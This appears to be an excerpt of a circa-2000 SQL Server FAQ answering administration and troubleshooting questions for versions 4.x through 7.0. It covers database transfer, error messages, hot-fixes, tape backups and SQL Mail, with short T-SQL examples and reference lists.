1. The fastest method for whole databases is to use the DUMP DATABASE and LOAD DATABASE commands. You need to make sure that the databases are the same size and made up of the same segment fragments in the same order. If you do an sp_help_revdatabase on both this will allow you to check the required DDL for this. You can DUMP and LOAD from a local tape device and transport the tape if you do not have a network connection. (With SQL 7.0 the commands are BACKUP DATABASE and RESTORE DATABASE)

2. If you only want tables/data you can use the SQL BCP.EXE tool. This is a command-line program and is fully doc'd in the books-online. It works on one table at a time and allows you to create a flat file on disk.

3. For stored-procedures/views etc. there is an old command-line based tool called DEFNCOPY.EXE that works like BCP. It isn't used much these days unless you still have SQL Server on OS/2 - though it still works on NT at least up until 6.5.

4. SQL Enterprise Manager comes with a built-in gui transfer function, and SQL 7 comes with a separate, equivalent tool based on DTS. This allows transfer of all objects between two databases/servers but requires a network connection between the two.

5. The transfer tool supplied with SQL EM is exposed via the DMO interface and can be called using the SQLOLE calls from TSQL or your own VB program for automation purposes. See Q152801 for an example of how to do this.

6. 3rd-party DBMS management tools no doubt offer similar/better transfer/scripting tools to the above.

===

v1.03 2000.02.02
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. What packages are available to do source control on SQL Server SP's, DDL etc.?

A. Microsoft have integrated their Repository into SQL 7 so there will probably be some function there with new versions of Visual SourceSafe, but assuming VSS doesn't meet your needs, then 3rd party dbms tools do offer these features :-

Cast Workbench
SQL Programmer - www.sfi-software.com
RapidSQL

===

v1.02 2000.02.05
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. Where can I get the ANSI92 SQL information from.

A. This is information is only available from ANSI themselves and as far as I know is only available on paper (to discourage piracy). They charge for the information - they have to have some form of income stream after all.

More information can be had from their web-site www.ansi.org


Q. How do I connect to SQL Server through a firewall?

A. Basically you have to open up the ports that SQL Server uses. If you've done this and it still doesn't work then look at the firewall logs to see what packets it is dropping or do a network trace either side of the firewall to see what packets are not getting through. (You may want to disable/allow all through the firewall during testing to see what extra packets are allowed through).

Which ports to open depends on the net-lib you are using :-

For tcp-ip sockets the default port for SQL Server is 1433.

For multi-protocol (rpc) the ports are normally variable, but you can fix them. See Q164667 in the Microsoft knowledgebase for details.

For named-pipes over ip 137/138/139 are used. As these are the same ones used for file/print it is not recommended you allow these through the firewall.


Q. I'm getting a sort failed 1501 message on SQL Server - what's going on?

A. This is usually caused by a time-out when creating an index - if you see "state 12" after the 1501 then it definitely is. This hard-coded timeout was upped with SQL 6.5 SP3 and is rarely seen now (though it does still sometimes occur). It is normally caused by a slow or congested disk subsystem - either get some faster disks/controllers or make sure that no other processes are contending on the same disks at the time of the query that causes the error.

If the above doesn't fit, then you can try upping the "sort pages" parameter in sp_configure. This may keep more of the sort in memory and reduce the iterations it goes through and thus prevent the error.

Other than that all you can do is contact Microsoft PSS with the error message, including state number, and let them delve through the code to see what piece of code the state message you're getting is in. (The state codes are unique)


Q. I'm getting a 1112 error on SQL Server - what's going on?

A. This message will only occur with SQL 4.x and is fixed in all subsequent versions. The ONLY permanent fix is to upgrade to SQL 6.0 or above.

The error occurs if SQL has crashed during the allocation of an extent - this sometimes leaves a "being allocated" bit set in the extent. When SQL comes to need that extent to expand a table then you get the error because SQL thinks the bit should never me set and some form of corruption has occurred.

Because SQL always allocates extents in the same order, once you get the error you will carry on getting it unless you drop some objects and free up extents nearer the start of the database that it can allocate ok. This only puts off the time till the next 1112.

To "fix" the error you can get and run a file called 1112.EXE from Microsoft PSS or ftp.microsoft.com/bussys/sql/transfer. This contains details of what to do to run it - note the database needs to be in single-user mode at the time. All it does is whiz through the extent map and reset any bits that show as "being allocated".

Note this "fix" only fixes that particular occurence of the problem. The problem will come back, so move to a supported version of SQL that has a permanent fix for this problem.

===

v1.01 2000.02.02
Applies to SQL Server versions : 4.x
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. Why do I get the message WARNING: Process being freed while holding Dataserver semaphore in SQL Server.

A. This is a fairly common error :-

1. Check for previous errors - this is often not the actual error that occurred but is a symptom of a previous error that has caused SQL Server to get confused. It then ends up trying to exit a routine without having cleared up all the resources that it owns. It is the previous error that you should look up in Technet/Microsoft Knowledgebase.

2. It can be a symptom of not having enough resources. Up the number of open objects, locks and open databases. This may help.

3. Apply the latest servicepack - this or the underlying error may well have been fixed already.

4. If none of the above apply, and your problem does not match any known, documented issue then you will have to call Microsoft PSS and open a paid fault call. If you can reproduce the problem with a script run against a new, clean database then it should be fairly easy for a fix to be written.


Q. What are good SQL Server books? And other sources of reference.

A. SQL Books Online is a good source, as is Technet with 100's of techie articles/whitepapers on SQL as well as the Knowledgebase. The SQL 7.0 books-online can be downloaded at http://support.microsoft.com/download/support/mslfiles/sqlbol.exe

An un-official "faq" is held at :-

http://forumsb.compuserve.com/vlforums/UK/default.asp?SRV=MSDevApps (download sqlfaq.zip from library 7 (SQL Public))
http://www.sql-server.co.uk
http://www.ntfaq.com/sql.html
http://www.swynk.com/faq/sql/sqlserverfaq.asp

The most up to date copy (apart from the one on my hard-drive) is the one in the Compuserve library - you don't need to be a compuserve member to download it. The other sites all take the info and put it into their own format.

On-line resources :-

SQL Server newsgroups : microsoft.public.sqlserver.* and comp.dcom.databases.ms-sqlserver
GO MSDEVAPP on Compuserve for SQL forums
www.sql-server.co.uk (Copy of SQL FAQ, Code samples, other stuff)
www.mssqlserver.com (Copy of SQL FAQ, reviews, lots of other resources)
www.sqlwire.com (SQL News)
www.insidesqlserver.com (Updates to Kalen Delaney's Inside SQL Server 7.0 book, Q&A and lots of other info is held here)
www.ntfaq.com/sql.htm (Copy of SQL FAQ)
www.swynk.com (SQL Server Mailing List and other resources)
www.dbmaint.com (Code samples)

Magazines :-

SQL Server Magazine, www.sqlmag.com
SQL Server Professional, Pinnacle publications, www.pinpub.com
NT Magazine has monthly articles on SQL plus the odd one-off article

Books (a few good ones, but this doesn't mean anything not listed isn't good! Many of these go through various revisions, so check you're getting the latest and greatest version) :-

Microsoft SQL Server 6.5/7.0 Programming Unleashed : Sams/various : Good for programming/TSQL

Microsoft SQL Server 6.5/7.0 Unleashed : Sams/various : Good for DBA's, admin, performance, general stuff.

SQL for Smarties : Morgan-K/Joe Celko : Advanced SQL programming techniques, tricks and tips. Not SQL Server specific but highly recommended.

Hitchhikers Guide to VB and SQL Server : MSPress/Bill Vaughn : ISBN: 1572318481 : If you're coding VB to access SQL and you're not sure whether (or how) to use db-lib, odbc, ado, rdo, ole-db, rds, rdo, dmo (I think that's all of them) then this is the bible.

BackOffice Resource Kit Part II : MSPress : Good stuff on SQL 6.5 connectivity and some internals, plus some nice utilities and whitepapers.

BackOffice 4.5 Resource Kit : MSPress : As above but for SQL 7.

Teach yourself Microsoft SQL Server 7.0 in 21 days : Sams/Richard Waymire : ISBN 0-672-31290-5 : A good overall guide to SQL Server 7.0.

Inside Microsoft SQL Server 6.5 : MSPress/Ron Soukup : SQL Server Internals, how it works, why the history. Plenty of good undocumented stuff.

Inside Microsoft SQL Server 7.0 : MSPress/Kalen Delaney : ISBN: 0735605173 : The bible for SQL 7 internals.

SQL Server 7 Database Administration. Prima Press/Ron Talmadge : Probably the best SQL 7 admin type book.

Microsoft OLAP Solutions. Microsoft Press/George Spofford and Erik Thomsen. ISBN: 0471332585. The definitive Microsoft Olap book.

Database Modelling and Design. Morgan Kaufmann/Toby Teory.

Transact-SQL Programming. O'Reilly/Kline, Gould and Zanevsky. What the title says - specific to SQL Server 6.5/Sybase 4.x. Nothing on later Sybase/SQL Server additions/changes to syntax.

Unlocking OLAP with SQL Server 7 and Excel 2000 : Wayne Freeze : ISBN 0764545876

Microsoft SQL Server 7 OLAP Developer's Guide : Bill Amo : ISBN 0764546430

OLAP Solutions, Building Multidimensional INformation systems with CDROM : Erik Thomsen : ISBN 0471149314

OLAP Services Fundamentals, Online Analytical Processing Technology for Microsoft SQL Server with CDROM : OLAP Train : ISBN 0735609047

Microsoft OLAP Unleashed with CDROM : Tim Peterson, Bob Pfeiff, Jim Pinkelman : ISBN 07672316714

===

v1.19 2000.02.05
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. What are SQL Server hot-fixes and where can I get them?

A. Hot-fixes are builds of SQL Server just like service-packs. However they are not fully packaged or given the same level of testing as a servicepack. They should only be applied to resolve a particular problem.

To get them, the official answer is that you must contact Microsoft Product Support Services by phone. You can get contact details from http://support.microsoft.com/support/supportnet/default.asp. The call screener answering the phone will charge your account/credit card for the call - in the US this is $195 I believe. Then when the engineer you are put through to determines the call is about an Microsoft bug they will refund it. They will tell you where to get the hot-fix, or will send it to you.

Unofficially, you can pick up hotfixes from ftp.microsoft.com/bussys/sql/transfer as long as you know the build number and pkzip password you need. The files are called SQLbbbm.EXE where bbb is the build number and m is the machine type. So SQL324I.EXE is build 324 for Intel. The files are pkzip password protected.

Wherever you get one from be aware that hot-fixes are typically NOT regression tested and can cause a lot more damage than they can fix. You are strongly urged to discuss using any hot-fix with an Microsoft PSS representative before applying it.


Q. How can I create a user-defined function in SQL Server?

A. Basically you can't (at the moment) - these were supposed to have been in SQL 7.0 but will now only be in the next version (due in 2000).

There are a couple of options that will get part of the way there for now :-

1. You can write your own stored-proc or extended-stored-procedure (XP). However, you can only pass an SP/XP a set of parameters so to "apply" it to a set of rows you would have to cursor round the rows yourself and call the SP/XP 'n' times. An example below

Create StoredProcedure SPAdd
(@num1 int, @num2 int, @Result int OUTPUT)
AS
Select @Result = @num1 + @num2
Return
go

Declare @Total int
exec SPAdd @num1 = 5, @num2 = 6, @Result = @Total
Select @Total

2. As long as you can write the function in a simple 1 line TSQL statement then you can simulate the function with a case statement - look up CASE in the books online for more information.

select finalvalue = CASE
WHEN <exp>
THEN <exp>
WHEN <exp>
THEN <exp>
ELSE <exp>
END


Q. How can I pass an array of values to a SQL Server stored-procedure.

Q. How can I pass an array of values to a SQL Server stored-procedure?

A. Basically you can't - SQL Server has no array type - ANSI SQL 92 does not specify array support.

You could simulate an array by passing one or more varchar(255) fields with comma-separated values and then use a WHILE loop with PATINDEX and SUBSTR to extract the values.

The more usual way to do this would be to populate a temporary table with the values you need and then use the contents of that table from within the stored-procedure. Example of this below

create procedure mytest @MyParmTempTable varchar(30)
as
begin
-- @MyParmTempTable contains my parameter list...

-- For simplicity use dynamic sql to copy into a normal temp table...

create table #MyInternalList (
list_item varchar( 2 ) not null
)

set nocount on

insert #MyInternalList
exec ( "select * from " + @MyParmTempTable )

set nocount off

-- It is now easier to join..
select *
from sysobjects
where type in ( select list_item from #MyInternalList )

end
go

To call..

create table #MyList (
list_item varchar( 2 ) not null
)
insert #MyList values ( 'S' )
insert #MyList values ( 'U' )
insert #MyList values ( 'P' )

exec mytest "#MyList"


Q. How can I delete duplicate rows from a SQL Server table?

A. This is documented in the Microsoft Kb - Q139444. Search from www.microsoft.com/support or go direct with the following URL.

http://support.microsoft.com/support/kb/articles/q139/4/44.asp


Q. My SQL Server errorlog is filling up with entries. How can I switch or truncate it?

A. There is no way to truncate the errorlog or switch it either, short of stop/starting the MSSQLSERVER service.

If the errorlog is filling up your disk then your choices are :-

  1. Fix the application(s) that are causing the errors.
  2. NTFS compress the log directory to reduce the physical space it takes
  3. Move the errorlog to another directory and use the -e startup option to point the errorlogs to the new place.


Q. Which sort-order should I choose for my SQL Server for the fastest performance?

A. Binary sort order is 15% faster than others for key comparisons. However this is only one TINY part of the processing that SQL needs to do and with the massive increase in processor speed since SQL Server was first released this is now really not an issue.

If you use binary (or another case-sensitive sort-order) then you may need to resort to queries with where clauses like "where UPPER(columnname) = UPPER(searchargument)". This prevents the query optimizer from selecting an index and forces a table-scan - with disastrous performance consequences.

Therefore it is recommended that you only choose binary for other reasons - not performance.


Q. Why is my application locking up in SQL Server?

A. This is due to a documented change in SQL 6.5 because tables created by using SELECT INTO hold to the ACID (atomicity, consistency, isolation, durability) transaction properties. This also means that system resources, such as pages, extents, and locks, are held for the duration of the SELECT INTO statement. With larger system objects, this leads to the condition where many internal tasks can be blocked by other users performing SELECT INTO statements. For example, on high-activity servers, many users running the SQL Enterprise Manager tool to monitor system processes can block on each other, which leads to a condition where the SEM application appears to stop responding. (This happens on tempdb which is the biggest problem with this new feature for most users)

You can revert to the old 6.0 and below behaviour where these locks are not held by applying at least SQL 6.5 ServicePack 1 and then setting traceflag 5302 on startup.

It is recommended that you amend your application to not use select into, or if you do, create the table using "SELECT ... INTO .... WHERE 1=0" to create the table and then use standard inserts to populate the table.

(This problem does not occur in SQL 7.0 and above as row-level locks are taken and so system table pages aren't unnecessarily blocked)


Q. Where can I get the SQL Server Programmers Toolkit?

A. For SQL 6.5 :- http://support.microsoft.com/download/support/mslfiles/PTK_I386.EXE

This contains everything you need for db-lib, odbc, dmo, ods, xp etc. type programming against SQL Server.

For SQL 7 look on the CD under \devtools


Q. I'm getting an error 80004005 message connecting to SQL Server - what's going on?

A. This is an ODBC/ADO error message and is a generic one - basically something has gone wrong. After the error number is a description giving specific information on what is going on. To debug this info look at Q183060 in the MS Knowledgebase. www.microsoft.com/support.


Q. Is it safe to clear down the msdb..sysbackuphistory table in SQL Server as it is filling up the database?

A. Yes, it is safe. There is a stored procedure to clear up the sysbackuphistory and sysbackupdetail tables available with SQL 6.5 - sp_sysbackuphistory_limiter. This is run with a single parameter of the latest date you want to keep. Everything before this is deleted.

See Q152354 for more details.


Q. I'm having problems getting more than x connections from a 16-bit client to SQL Server.

A. This is due to the fact that 16-bit clients, whether they use ODBC or db-lib, use a 64K buffer for all their control blocks, network buffers etc. You have to keep everything within this one area - there are no workarounds for this.

The main thing that uses up the memory is the space used for "network" buffers - actually these are buffers for the TDS packets, as the actual network buffers may be bigger/smaller and the TDS packets may have to be fragmented by the network driver to get them on the network - but that is transparent to SQL.

The "network packet size" (TDS) can be specified by the client connection. If it is not then it uses the setting on the server that is set by sp_configure.

If you need more connections then the easiest thing to do is reduce the "network packet size" via sp_configure/client connection until you get enough. The lower it is set the more round-trips that SQL client to server has to take, which potentially can degrade performance.


Q. How can I restrict the number of rows returned to my query in SQL Server?

A. With SQL 6.5 and below use the "set rowcount <n>" option.

This option is still available with SQL 7.0, but this supports the TOP() function as well which will optimise better so use this instead. "select TOP(n) from .........."


Q. I can't use a tape-drive with SQL Server, but it works ok with NT Backup. Why?

A. SQL 6.5 and below have compatibility problems with certain tape drives - usually because the tape driver advertises a block-size that is too big for SQL to handle. With SQL 7.0 this problem goes away because SQL uses the NT backup code/format and so any tape drive that works with NT backup *should* work with SQL 7.0 and above.

However, SQL Server will only work with drivers that support the "TAPE_DRIVE_REVERSE_POSITION" scsi command. It uses this to skip back a filemark when handling end of media or malformed media errors. NT Backup doesn't necessarily use this, so it is possible for a driver/drive that doesn't support this to work with NT backup, but not with SQL Server. This is the case with some QIC style (IDE attached) tape units. In this case you will need to find a driver that does support this command, or get a different tape unit.

You can diagnose the problem on SQL 6.5 and earlier using a tapetest.exe tool - these are available from Microsoft PSS and have also been uploaded to www.swynk.com/sql in their library area. They are gui based and their usage is obvious.

You can try upgrading the firmware on your tape unit - this sometimes helps. But usually it is the driver that needs changing.

Check the vendors website - e.g. www.quantum.com has updated DLT drivers

Try applying the latest NT service pack (many drivers come with these). Specifically there is a bug with SQL 6.5 SP5a where it needs to driver from NT 4.0 SP4 or above for 4mm dat drives to work properly (otherwise it gets an error 87).

If you have licenses for a 3rd party backup utility that dumps in Microsoft standard format then try a driver from here instead of the NT supplied one. I find that BEI Ultrabac drivers work well with SQL Server (www.ultrabac.com). Earlier versions of Arcada/Seagate/Veritas Backup Exec didn't, but newer ones do.

The last one leads to another work-around - if you use a 3rd party backup tool and it has a SQL agent then the tape unit will definitely work, as SQL is writing to the named-pipes or VDI interface and it is the 3rd party backup software/drivers that do the physical writing to the tape device.


Q. SQL Mail keeps hanging - meaning I have to restart SQL Server to clear it.

A. This is a mapi problem, not a SQL one, but having SQL Server acting as a MAPI client makes it nearly impossible to track down and fix. SQL 6.5 SP5a has a fix in to reduce these problems. I have seen at least one report of SQL 7.0 having the same problem - so it doesn't look like this handles it a whole lot better.

You can try a different mail client and see if the mapi dll's that installs work better - some people have found that Outlook 98 works well, others report that only very early versions of Exchange client work ok. Whatever the case it is likely that bugs exist in all versions of the mapi client and are exposed on fast or SMP machines due to race conditions - thus causing hangs.

The recommended workaround would be to not use SQL Mail at all. You can use a SENDMAIL.EXE command - either the one in the Exchange resource kit for MAPI, or an SMTP one for an internet gateway. This can then be called in two ways :-

1. If you want mail to go synchronously then call SENDMAIL via xp_cmdshell. This then won't return control to your SQL task until the mail has been sent.

2. If asynchronous sending of mail is ok, or you are worried about the mail process hanging individual threads then write out the mail message information to a flat file. Then have a looping batch process outside of SQL looking for emails and sending them when it sees them. This process could update SQL tables to say they are sent if that is needed.

I prefer the second approach.


Q. How can I convert a string to "proper" case in SQL Server?

A. SQL Server has no built-in function for this and neither does it support user-defined functions. Therefore your two choices are :-

1. Write an extended stored-procedure
2. Write a TSQL stored-procedure

An XP is faster and lets you have the full range of C programming tools and techniques, however it is possible to implement a simple example in TSQL.

If you only have a surname to update in a single field, then it is possible to do it in a single update statement. Example below.

UPDATE <tbl>
SET surname = substring(surname,1,1) + lower(substring(surname,2,(datalength(surname)-1)))

The below is an example of an sp. It only handles simple cases, and won't do stuff like D'Arcy properly - if you want full function stuff you are recommended to write your own generic C routine and then call it from an XP.

create procedure sp_proper
@in varchar(255) output
as
BEGIN
declare @in_pos tinyint,
@inter varchar(255),
@inter_pos tinyint

select @in_pos = 0,
@in = lower(@in)
select @inter = @in
select @inter_pos = patindex('%[0-9A-Za-z]%', @inter)
while @inter_pos > 0
begin
select @in_pos = @in_pos + @inter_pos
select @in = stuff(@in, @in_pos, 1, upper(substring(@in, @in_pos, 1))),
@inter = substring(@inter, @inter_pos + 1, datalength(@inter) - @inter_pos)
select @inter_pos = patindex('%[^0-9A-Za-z]%', @inter)
if @inter_pos > 0
begin
select @in_pos = @in_pos + @inter_pos
select @inter = substring(@inter, @inter_pos + 1, datalength(@inter) - @inter_pos)
select @inter_pos = patindex('%[0-9A-Za-z]%', @inter)
end
end
END
go


Q. Where can I get Embedded SQL for SQL Server?

A. http://support.microsoft.com/download/support/mslfiles/ESQLC.EXE

Note that this only supports SQL 6.5 and earlier. It will work against SQL 7.0 but you won't have access to any SQL 7.0 only features.


Q. Does SQL Server support Unicode?

A. With SQL Server 7.0 and above full UCS-2 Unicode support is there. There is no Unicode support in 6.5 and earlier (you had to use dbcs).

UCS-2 is the official Unicode two-byte definition for all characters. Some DBMS manufacturers have only implemented a space-conserving, pseudo-form of Unicode, UTF-8, which has mixed one-byte and two-byte
encodings.

===

v1.01 2000.02.02
Applies to SQL Server versions : 7.0
Related FAQ articles : Q232580
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. Where can I download SQL Server utilities, service packs etc.?

A. Go to http://support.microsoft.com. Choose drivers/downloads. Choose Back-Office. Choose SQL Server.

You will find the latest servicepacks, utilities (SQLHDTST), Programmers Toolkit (PTK), ESQL/C etc. there.

Alternatively there is an ftp location at fp.microsoft.com/bussys/sql


Q. How can I disble the dial-up remote network prompt with the SQL Server GUI tools?

A. In Windows NT :-

1. In control panel/services, choose Remote Access Autodial Manager.
2. Click on startup and choose disable.

In Windows 9x :-

1. In Dial-Up Networking, click the Connections menu, and then click Settings.
2. Click Don’t prompt to use Dial-Up Networking.

You may also get problems with Internet Explorer causing the dial-up (usually with SQL 7). In which case (for any OS) -

1. In Control Panel, double-click Internet, and then click the Connection tab.
2. In the Connection box, select Connect to the Internet using a local area network.
3. Set a local page to be the IE default page so it doesn't try and open www.microsoft.com (or whatever) automatically.

The last problem only occurs with IE versions less than 5.0


Q. Error message : Failed to obtain TransactionDispenserInterface: XACT_E_TMNOTAVAILABLE.

A. This error message is put in the SQL errorlog at startup if the MSDTC service isn't running/configured. Unless you are using DTC this is perfectly normal.

More details on DTC can be found in the SQL Server Books Online. (BOL)


Q. Should I amend the SQL Server "Backup Buffer Size"?

A. This parameter only applies to SQL 6.x. Under most circumstances it doesn't need to be changed and even then you would need to test in your own environment to see whether it made any difference in your particular disk/tape subsystem. There are too many variables of disk speed, raid controller buffers, tape speed, tape blocksize etc. to say whether increasing this area of memory that SQL uses will make any difference.

Example figures are below taken from a large system doing a dump to 3 striped DLT 7000 drives from a very fast disk subsystem with 40 spindles and varying the "backup buffer size" parameter. The figures don't change that much, but in general lower numbers of buffers were better.

1 01:12:00.687
2 01:11:28.860
3 01:11:50.969
4 01:13:18.859
5 01:15:01.750
6 01:17:15.594
7 01:16:41.516
8 01:16:11.469

If you get an error about "Configured value of backup buffer size is invalid" then you are on SQL 7 and using a 3rd party backup agent. SQL 7 does not have this parameter any longer. Any 3rd party agent that has an error with this needs to be upgraded to a SQL 7 aware version.


Q. What is SQLHDTST.EXE for SQL Server and where do I get it?

A. SQLHDTST.EXE is on your Technet CD and can also be downloaded from http://support.microsoft.com/download/support/mslfiles/SQLHDTST.EXE

This utility simulates SQL Server and stresses your disk and/or network connections. It should be run over an extended period (maybe a weekend) and will highlight any nasty intermittent hardware errors that may be causing corruptions, SQL hangs, crashes etc.

If it reports any errors then you have faulty hardware - which could be cpu, memory, disks, scsi controllers etc. If you can't track down the problem using hardware vendor tools then I would recommend swapping out the entire unit.


Q. How can I install the 32-bit SQL Server client for NT or Windows 9x?

A. Under 6.5 and earlier, run setup from the \I386 directory as if you were installing the whole of SQL Server on the client. Then just check "Install client utilities only" when asked. This will just install the client utilities, net-libs etc.

For SQL 7.0 do the same thing - just choose client stuff only. If you install from a "server" CD then Win9x and NT workstation clients will only be able to install the client stuff anyway.

This includes all the tools like SQL Enterprise Manager (which runs fine on Win9x).

If all you want are odbc etc. type drivers and no utilities then the latest version of these is in SQLREDIS.EXE which ships with SP1 for SQL 7.0. This can be run to just install the necessary dll's etc. and no utilities.


Q. I am getting a message GetOverLappedResult() from a SQL Server query.

A. Two things may be happening - either SQL Server is internally gpf'ing/AV'ing (same thing) - you should see messages to this effect in the SQL errorlog. Or there is a net-lib bug with overlapped/fragmented packets.

For either problem you can try applying the latest SP to the server.

For net-lib bugs you will need to apply to the client as well. Also the version of ADO/ODBC can help cause the problem as well, so try upgrading. The latest versions of these drivers can be had via www.microsoft.com/data.

If you're getting access violation messages, then see the FAQ entry on access violations in the FAQ. If not read-on for net-lib problems.

If you are getting a problem with TDS packet fragmentation (TDS is SQL's application level protocol) then try a different net-lib - e.g. tcp-ip instead of named-pipes or vice-versa. If still no-go then you'll need to call Microsoft PSS.

Even if a different net-lib fixed the problem, then please still report the problem to Microsoft PSS. Unless Microsoft get these bug reports then they can't fix them. (With a repro script an MVP will do it for you). Your call fee WILL be re-imbursed as all calls about bugs are free. (However, on the "normal" support-line the person answering the phone can't know it's a bug, so they'll need your credit card details anyway).

Microsoft will need you to supply :-

SQL Errorlog(s)
NT event log(s) - if any NT errors were occuring at the time
TSQL code running at the time
Details of hardware, version of NT, servicepacks etc. WINMSDP output is good for this.
A SQL Trace of what happens at the time of the error
Possibly a network trace between client and server as well

With SQL 7 there is a new utility that will garner most of this information for you automatically. It is called sqldiag -
sqldiag -U<login> -P<password> -O<output filename>


Q. What does the SQL Server error message Lazywriter: WARNING, couldn't find slot, 8/8, scanned 8 mean?

A. Basically SQL Server is trying to wrote out "dirty" data to disk via the lazy writer thread that the CHECKPOINT process kicks off. It has been unable to find a free slot - which is basically a memory buffer. The number of slots is set via the sp_configure "max lazywrite io" parameter and dictates the number of concurrent i/o's that this process is allowed to have.

The reason why it couldn't find a slot is either :-

  1. There has been an internal corruption that is stopping the lazy writer process from working properly. This is rare, but there was a known bug in SP3, fixed in SP4, that could cause this. If this were happening then you would see other errors/AV's before this particular error appeared.
  2. The normal reason is just that the disk subsystem is too busy to process the i/o requests. In which case look for non-SQL tasks that may be causing contention on the same disk(s) - NT backups, file transfers, paging etc. Look for contending SQL processes on the same disk(s) - table scans, log file writes etc. You may need to move SQL devices to prevent contention. Alternatively you may have the overrall level of i/o's that SQL is making too high - you may need to reduce the number of "max async io"'s that sp_configure allows.

In any event the message is not usually a problem - SQL will wait until it can continue with the lazy write i/o's for as long as necessary.

(Under SQL 7 lazywrite io is dynamically tuned).


Q. I have a corrupt SQL Server table that I can't drop. What can I do?

A. DBCC checkdb and newalloc the database in question and look up any other error messages that occur - then you can see the extent of the problem.

The reason SQL won't let you drop a table in this situation is because the allocation pages/extent chain appears to be damaged or cross-linked in some way. So SQL Server thinks that there is actually data from other tables in pages/extents belonging to the problem object. If it let you drop the table it might remove data from another table by mistake.

Your choices are :-

1. Restore from a known good backup.
2. Create a new database and copy all the data/objects out. You can use transfer manager/bcp for this. Then rename the databases round. (or dump and re-load if you had to do this across a network connection)
3. With a VERY large database with consequent loss of data then if you don't want to do 1 or 2, then you can rename the table by directly updating sysobjects. Then create a new table and just leave the old one there. Note that this is dangerous as there may be more severe corruption problems that will still be there.
4. Call Microsoft PSS and pay for a support call. They have utilities that allow page/link editting and they MAY try and "fix" the problem for you. However this is not 100% succesful, they may cause more damage, and you have to sign a form accepting all responsibility (and absolving them of any) for any problems that occur.


Q. Why can't I BCP a Unix file into SQL Server? I get UNEXPECTED EOF messages.

A. This is because UNIX files use just a linefeed (LF, 0x0A) as a record terminator. NT used a carriage return plus linefeed (CR+LF, 0x0D0A). The BCP \N character resolves to CR+LF.

You have to reformat the file using a tool like AWK/SED/PERL to convert the reformat the 0x0D character to 0x0D0A


Q. What can't I do with SQL Enterprise Manager under Win9x?

A. Windows 9x does not support Windows NT service control APIs. Therefore you cannot start, stop or inquire on the status of the SQL Server service.

Apart from that everything should work, but many people have reported Win9x crashes when running SQL utilities - this is due to bugs in the network stack/drivers being used. Upgrading to the latest fixes for Win9x may help with this.


Q. I am getting a message "Protocol error in TDS Datastream" from a SQL Server query.

A. Three things may be happening :-

1. SQL Server is internally gpf'ing/AV'ing (same thing) - you should see messages to this effect in the SQL errorlog.
2. Net-lib bug with overlapped/fragmented packets.
3. A complex query is generating incorrect TDS syntax in the packets

For all problems you can try applying the latest SP to the server. You should also search the knowledgebase at http://support.microsoft.com

For net-lib bugs you will need to apply to the client as well. Also the version of ADO/ODBC can help cause the problem as well, so try upgrading. The latest versions of these drivers can be downloaded from www.microsoft.com/data.

If you're getting access violation messages, then see the FAQ entry on access violations in the FAQ.

If it is being caused by a complex query, then try re-writing the query - breaking it up into smaller chunks. If this is not possible, see if the problem occurs when you run the query via ISQL/W instead of via the application.

If you are getting a problem with TDS packet fragmentation (TDS is SQL's application level protocol) then try a different net-lib - e.g. tcp-ip instead of named-pipes or vice-versa. If still no-go then you'll need to call Microsoft PSS.

Even if a different net-lib fixed the problem, then please still report the problem to Microsoft PSS. Unless Microsoft get these bug reports then they can't fix them. (With a repro script an MVP will do it for you). Your call fee WILL be re-imbursed as all calls about bugs are free. (However, on the "normal" support-line the person answering the phone can't know it's a bug, so they'll need your credit card details anyway).

Microsoft will need you to supply :-

SQL Errorlog(s)
NT event log(s) - if any NT errors were occuring at the time
TSQL code running at the time
Details of hardware, version of NT, servicepacks etc. WINMSDP output is good for this.
A SQL Trace of what happens at the time of the error
Possibly a network trace between client and server as well

With SQL 7 there is a new utility that will garner most of this information for you automatically. It is called sqldiag -
sqldiag -U<login> -P<password> -O<output filename>


Q. Why is SQL Server slower than Access/FoxPro/DBase etc.

A. Twofold :-

  1. The mentioned products are great for "small" numbers of users and "small" databases. They carry very little overhead and rely on the client for record/file locking. This is great for one or a few number of users, or when data is read-only, but when many users access the system the overhead of doing locking by file offset with SMB packets is enormous, and the application will usually grind to a halt/connections will be lost/database will be corrupted etc.
    SQL Server is a true client/server app and so scales far better, but the overhead of doing all the locking etc. at the server end is far higher in some cases.
    (Note "small" is a relative term - this could be a hundred users and a 1Gb database - which is large to many people).#
  2. SQL Server logs all writes to a transaction log before it writes to actual data pages. It also (with 6.5 and below) has to update indices when records in the main table are changed due to page splits etc. This overhead is great for consistency and reliability, but not for raw performance. This logging cannot be turned off.


Q. Can I turn SQL Server logging off?

A. The short answer is no. It is an integral part of the SQL system and cannot be turned off.

Certain operations are "non-logged" like fast-BCP and select into. This means they do not log record updates. However they DO log extent allocations. They need to do this so that if the process is terminated unexpectedly (maybe the power goes out), SQL can recover the space. This greatly reduced logging can result in better performance - but as it makes the database non-recoverable from transaction-logs should be used with caution.


Q. What tools are available to debug stored-procedures under SQL Server?

A. By no means an exhaustive list - product/vendor/www where known.

Microsoft's Visual Basic and Visual C Enterprise Edition contain built-in stored-procedure debugging code.

Also

  • www.embarcadero.com - RapidSQL
  • www.castsoftware.com
  • www.compuware.com - Xpediter
  • www.sfi-software.com - SQL Programmer


Q. Why do I get an error "Error: 702, Severity: 20, State: 1" running a SQL Server query?

A. The full error for this continues "Memory request for 2928 bytes exceeds the size of single page of 2044
bytes." This error only affects SQL 6.5 and below.

This is a SQL bug and cannot be fixed other than by rewriting the query in a different way - there is no way to expand SQL's page size.

Some reasons for this bug are already documented in http://support.microsoft.com - just search on 702 and SQL. If your problem does not match any of these and you have already applied the latest service pack then either post a reproduction script for an MVP to report for you or call the problem in to Microsoft PSS yourself.

===

v1.01 2000.02.01
Applies to SQL Server versions : 4.x, 6.x
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. What do the bufwait, writelog and buffer latch errors in SQL Server mean?

A. The following errors can occur :-

writelog: timeout, dbid <x>, ...........

bufwait: timeout, BUF_IO .....

Time out occurred while waiting for buffer latch type 2, bp 0x11cfc580, page (0:0), stat 0x405, object ID 7:1:0, waittime 500. Continuing to wait.

